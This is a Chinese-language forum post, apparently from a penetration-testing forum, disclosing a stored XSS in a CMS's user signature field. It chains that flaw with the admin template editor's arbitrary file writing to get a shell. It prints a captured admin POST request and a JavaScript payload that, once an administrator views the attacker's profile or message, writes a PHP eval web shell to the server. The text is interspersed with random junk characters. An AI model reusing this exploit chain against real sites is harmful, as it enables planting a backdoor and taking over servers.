这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题 官网已经修补了,所以重新下了源码 因为 后台登入 还需要认证码 所以 注入就没看了。 存在 xss; B7 H$ c; {' k, ^/ E% f- E: S 漏洞文件 user/member/skin_edit.php 本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名:% L% w2 e( W2 d2 m3 z! ^ , ~# a. B+ a% ]/ ]: z* ] </span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?>, ~# N( a3 @: z; S* g5 @3 G </textarea></td></tr> user/do.php ; p: h+ o! J1 O3 x5 [1 D( _ " G2 I4 N& C- N1 W$ P - z; X. v( m, g/ ~, T3 p5 \ if($op=='zl'){ //资料& y( O, h" r# E5 Q if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email)) exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);')); $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."',. D; w, G9 O) q7 N2 Q' [& q8 Y( U CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."' where CS_Name='".$cscms_name."'";( M' e _. z1 G3 v4 s if($db->query($sql)){ exit(Msg_Error('恭喜您,修改成功了!','javascript:history.go(-1);')); 2 [) n8 ?& X: Y# s* Q# E8 N- ~2 o }else{1 h* e& R7 N- p [# h% V8 k( `% x8 M - f* o8 U- V- L) B/ t! l exit(Msg_Error('抱歉,修改失败了!','javascript:history.go(-1);'));6 T( k& L2 Q. q& S8 \ } ; W' e2 P8 O4 \$ i, }. D 没有 过滤导致xss产生。: p* y V3 G& y. j3 n& e( I 后台 看了下 很奇葩的是可以写任意格式文件。。 抓包。。9 u; X9 ~; X6 n' `) g+ ] & R' c0 ]; _' S0 H1 d. A" i1 ^: p 本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.1. d& p! T# c2 _/ o2 @$ o ! g% v/ w4 K7 J+ _1 n Accept: text/html, application/xhtml+xml, */*! m+ Y c5 [* ^, u) T) T n7 z* I ! D3 D" q* N$ g" [ Referer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php k" Z' T- Y7 `3 C9 l/ Y Accept-Language: zh-CN User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)6 J" a! Q( J' l5 j( _% z0 q Content-Type: application/x-www-form-urlencoded$ m" \9 W9 A% p9 q5 W) F ; \3 d% y$ m7 I; L) s& \& w2 T2 A- W Accept-Encoding: gzip, deflate / ]- u {/ j+ [, M" v) Q! Q& P, A& f0 Z Host: 127.0.0.1. d& c# C' V2 l3 u# \' i 5 c$ \/ @& J2 H% Y: w Content-Length: 38* |4 R8 {' l$ I) q ( u6 T7 v/ n; S2 n* H: j" F DNT: 1 Connection: Keep-Alive 4 G, w7 j5 \4 e5 s Cache-Control: no-cache Cookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f65594& G* E. ]+ ~, [& h* ?* V0 Y( j name=aaa.php&content=%3Cs%3E%3Ca%25%3E, B+ g! k0 |, { / d: J6 {. Y( Z5 J2 P- R- V ! f9 Y' q' \- I- ?: C+ M) }8 Z 于是 构造js如下。 本帖隐藏的内容<script> 6 \" B& V$ W4 Y* G& j0 _$ J thisTHost = top.location.hostname; thisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/"; function PostSubmit(url, data, msg) { var postUrl = url; 3 ^+ \+ `& u1 X" B var postData = data; % c9 w& B/ ~ p. z$ p1 t8 n ~) V6 \ var msgData = msg; + m/ |& D& C5 H' Y2 f; F: b var ExportForm = document.createElement("FORM"); 5 |2 p, J Y9 R. K! ?, o( n8 `& C document.body.appendChild(ExportForm); ExportForm.method = "POST"; : n8 L( z- O+ Z% C6 P+ R) R var newElement = document.createElement("input"); newElement.setAttribute("name", "name"); newElement.setAttribute("type", "hidden"); % @0 W) j$ m f8 ]5 T& v var newElement2 = document.createElement("input"); 0 I" L* H1 C- j c9 } newElement2.setAttribute("name", "content"); ' L. |' E0 q8 T z8 f newElement2.setAttribute("type", "hidden"); ExportForm.appendChild(newElement); ExportForm.appendChild(newElement2); ) B' \9 f* a D' a6 t3 ` newElement.value = postData; newElement2.value = msgData; 4 j, f' I% t9 z" A7 f. T ExportForm.action = postUrl; ExportForm.submit(); }; 0 B1 E4 }) Z! `9 M% Y# s% L3 @. D PostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>"); + T' {+ g' n" s# G7 M3 i- ~9 _3 Q' ? </script>( h* r( @& G' x6 ]3 D* L- @ 0 J7 J& W' D0 _ w7 S % r8 {) F# b' b4 z , P$ S2 \- b7 O; E# r6 t# a- D) e% g http://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入 用你的账号给管理写个 私信 或者让他访问 你的主页http://127.0.0.1/home/?uid=2(uid自己改)& M# E; x5 ~/ g4 U 就会 在 skins\index\html\目录下生成 roker.php 一句话。 |
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) | Powered by Discuz! X3.2 |